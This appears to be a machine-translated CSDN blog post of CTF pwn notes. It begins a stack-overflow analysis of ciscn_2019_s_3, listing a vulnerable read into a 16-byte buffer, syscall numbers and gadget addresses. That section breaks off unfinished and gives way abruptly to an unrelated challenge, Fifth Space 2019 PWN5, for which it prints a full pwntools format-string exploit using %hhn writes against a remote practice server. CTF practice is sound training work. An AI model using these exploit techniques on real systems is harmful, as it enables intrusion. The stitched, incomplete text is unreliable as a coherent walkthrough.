ctf【ciscn_2019_s_3】

Umkehren

int __cdecl main(int argc, const char **argv, const char **envp)
{
    
    
  return vuln();
}

signed __int64 vuln()
{
    
    
  signed __int64 v0; // rax
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  v0 = sys_read(0, buf, 0x400uLL);
  return sys_write(1u, buf, 0x30uLL);
}

Angriffsideen

(1) Rufnummer: Die Rufnummer von sys_read ist 0, die Rufnummer von sys_write ist 1 und die Rufnummer von sys_execve ist 59

mov rax, 3bh ist der Systemaufruf sys_execve

Drücken Sie im IDA-Fenster Alt+T, um nach der Anweisung „mov rax,3bh“ zu suchen und den Speicherort der Anweisung unter 0x4004E2 zu finden

Hinweis (neuer Wissenspunkt): Die Funktion _libc_csu_init ist eine Funktion, mit der das Programm die libc-Bibliothek aufruft, um das Programm zu initialisieren. Sie wird im Allgemeinen vor der Hauptfunktion ausgeführt.

(2)objdump -S ciscn_s_3

Suchen Sie die Adresse mit 6 Pop-Anweisungen bei 0x40059a

[Finale des Fifth Space 2019]PWN5

from pwn import *

p=remote('node4.buuoj.cn',27963)

payload=p32(0x804C044)+p32(0x804C045)+p32(0x804C046)+p32(0x804C047)+b'%16x%16x%16x%16x'+b'%10$hhn%11$hhn%12$hhn%13$hhn'

p.sendline(payload)
payload=str(0x50505050)
p.sendline(payload)
p.interactive()

Supongo que te gusta

Origin blog.csdn.net/HUANGliang_/article/details/127585384
Recomendado
Clasificación